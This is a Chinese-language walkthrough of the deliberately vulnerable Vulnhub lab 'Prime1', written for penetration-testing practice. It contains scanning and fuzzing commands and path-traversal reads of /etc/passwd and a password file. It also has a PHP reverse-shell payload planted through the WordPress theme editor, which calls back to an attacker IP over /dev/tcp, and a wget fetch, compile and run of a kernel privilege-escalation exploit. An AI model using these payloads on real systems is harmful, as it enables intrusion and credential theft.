摘要
Vulnhub靶机实操笔记-Prime1-解法一
涉及知识内容:目录扫描、文件包含,WordPress利用、内核提权
一、Namp扫描
1、主机存活判断
代码语言:javascript复制sudo nmap -sn 192.168.32.0/24
2、快速扫描
以不低于1w的速度快速扫描端口
代码语言:javascript复制 sudo nmap --min-rate 10000 -p- 192.168.32.140 -oA report/min-rate
--min-rate #以不低于xxx的速度扫描
-p- #全端口
-oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫min-rate文件
使用TCP和UDP的形式对扫出的端口进行协议的查看
3、TCP扫描
代码语言:javascript复制 sudo nmap -sT -sV -O -p22,80 10.10.10.22 -oA report/heavy
-sT #以TCP协议进行扫描
-sV #服务的版本号
-O #服务器系统
-p #指定端口
-oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫heavy文件
4、UDP扫描
代码语言:javascript复制 sudo nmap -sU -p22,80 192.168.32.140 -oA report/heavy-U
-sU #以UDP协议扫描
-p #指定端口
-oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫heavy-U文件
5、Namp的POC扫描
发现一个DOS漏洞CVE-2007-6750
代码语言:javascript复制sudo nmap --script=vuln -p22,80 192.168.32.140
二、目录扫描
1、WordPress
目录扫描发现存在WordPress
代码语言:javascript复制dirb http://192.168.32.140
在访问dev路径时,看到提示内容说现在我们处在levl 0的等级里面,让我们再努力一点
2、找正确参数
此时重新使用dirb对一些重点后缀名文件进行一个指定扫描操作,扫描得到一个secret.txt文件,去访问看看内容
代码语言:javascript复制dirb http://192.168.32.140 -X .zip,.txt -o report/dirbveryharb.txt
看来你有一些秘密。 好的,我只是想帮你。 在你发现的php的每一页上做更多的模糊处理。如果 如果得到任何正确的参数,请按照以下步骤操作。如果你仍然坚持 从这里学习一个很好地使用OSCP的基本工具。 https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
因为提示找PHP页面,所有我就特意指定扫PHP类型文件,扫描出两个PHP文件
代码语言:javascript复制dirb http://192.168.32.140 -X .php
根据前面提示对获得的两个php文件参数的模糊测试,最终在index.php获得一个正确的参数是file
代码语言:javascript复制sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.32.140/index.php?FUZZ=ss
-c #wfuzz用来结果分色
-w #指定使用的字典
-hh #只显示 HTTP 响应代码为 136 的请求响应
FUZZ #可以跟一个参数(ss)或不加
带着获得的正确参数尝试去访问一下,提示干的好,但你请求了错误文件
http://192.168.32.140/index.php?file
查看之前secet.txt的提示说查看本地的location.txt文件
//查看location.txt,您将获得下一步行动//
这次就file参数尝试去请求secet.txt,看看结果如何
http://192.168.32.140/index.php?file=location.txt
根据图片的提示让我们用secrettier360参数在别的php页面上(image.php),提示现在你终于得到了正确的参数
http://192.168.32.140/image.php?secrettier360
3、文件包含
提示是正确的参数也没说干什么,此时应该需要去尝试一下文件包含
代码语言:javascript复制http://192.168.32.140/image.php?secrettier360=../../../../etc/passwd
4、获得密码
从etc/passwd的内容看到有个password.txt在/home/saket目录下,再继续用文件包含去读这个password.txt文件内容获得密码follow_the_ippsec通过ssh尝试过无法直接使用这个密码,进而将目光转到前面扫目录的WordPress后台页面
代码语言:javascript复制 sudo curl http://192.168.32.140/image.php?secrettier360=../../../../etc/passwd
sudo curl http://192.168.32.140/image.php?secrettier360=../../../../home/saket/password.txt
三、WordPress攻击
1、Wpscan使用
前面目录扫描可以发现有使用WordPress,现在又获得一个密码,这边尝试wpscan去获得一个用户再配合刚刚获得的一个密码
代码语言:javascript复制 sudo wpscan --url http://192.168.32.140/wordpress -e u
-e #选择需要获得的内容 u是获得用户名
利用wpscan获得的用户名victor和前面获得的密码follow_the_ippsec成功登陆了WordPress后台,
2、WordPress后台利用
1、WordPress插件
先看WordPress的插件,新增插件
上传payload即可,看到是上传一个.zip的文件
随便尝试上传一个.zip的压缩包提示错误,当前父目录是有写权限的嘛
2、WordPress主题
主题编辑器,一般来说从主题编辑器容易有有写权限的一些目录,通过遍历来看看哪些目录有写权限。
从右侧的页面一个个找php页面且带有提交按钮的,这个目录就是有写权限的。此时因为是WordPress,所以
我们就尝试些一个php的反弹shell让它去执行。
写一个php的反弹shell,提交shell后就是找到php页面去触发它
代码语言:javascript复制<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.131/1234 0>&1'"); ?>
访问url触发shell,http://192.168.32.140/wordpress/wp-content/themes/twentynineteen/secret.php
http://your-site.com/wp-content/themes/your-theme-name/secret.php 其中 your-site.com 是你的 WordPress 网站域名, your-theme-name 是你所使用的主题名称, secret.php 是你创建的 PHP 文件名。请确保正确替换这些参数,才能成功访问该文件。
获得shell
四、内网提权
1、查看系统详情
代码语言:javascript复制uname -a
2、查看用户权限
可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码
代码语言:javascript复制sudo -l
去对应的目录查看一下enc内容,发现权限不足无法读文件
代码语言:javascript复制ls -liah #查看当前文件的权限与属性
3、查看当前系统用户
代码语言:javascript复制 cd /home
ls #/home目录在Linux称为主目录,在该目录下面存储的是每个用户的目录。
也会是每个用户的数据是存储在该目录下面的一个子目录中。
4、查看定时任务
发现有个定时任务t.sh,但是它没有任何用户权限所以pass
代码语言:javascript复制cat /etc/crontab
5、查看系统用户信息
代码语言:javascript复制cat /etc/passwd
6、系统内核提权
1、查找攻击脚本
前面发现当前ubuntu版本相对较低,尝试内核提权,使用系统版本去查是否有版本漏洞。发现只有2和3是权限提升相关的
代码语言:javascript复制 searchsploit Linux ubuntu 4.10.0-28
Linux内核4.10.5/<4.14.3(Ubuntu)-DCCP套接字免费使用|Linux/dos/43234.c
Linux内核<4.13.9(Ubuntu 16.04/Fedora 27)-本地权限升级|Linux/Local/45010.c
Ubuntu<15.10-PT Chown任意PT通过用户命名空间权限升级访问|linux/local/41760.txt
2、下载攻击脚本
代码语言:javascript复制searchsploit Linux ubuntu -m 45010
3、查看具体使用方法
先编译,后直接利用执行
代码语言:javascript复制 gcc cve-2017-16995.c -o cve-2017-16995
./cve-2017-16995
4、本地搭建服务器
攻击机本地搭建一个80端口服务器供下载文件
代码语言:javascript复制sudo php -S 0:80
受害靶机使用wget下载攻击机的利用文件
代码语言:javascript复制wget http://192.168.32.131/45010.c
5、EXP提权
将exp传入到受害机,受害机内编译好后,直接执行获得root权限
代码语言:javascript复制 cd /tmp
wget http://192.168.32.131/45010.c
gcc 45010.c -o 45010
chmod x 45010
ls -lain
./45010
6、python转稳定shell
命令会列出系统中所有已安装的软件信息,显示当前环境安装了python工具,利用python转稳定交互shell
代码语言:javascript复制 dpkg -l #查已安装的软件
python -c "import pty;pty.spawn('/bin/bash')"
五、靶场下载链接
https://download.vulnhub.com/prime/Prime_Series_Level-1.rar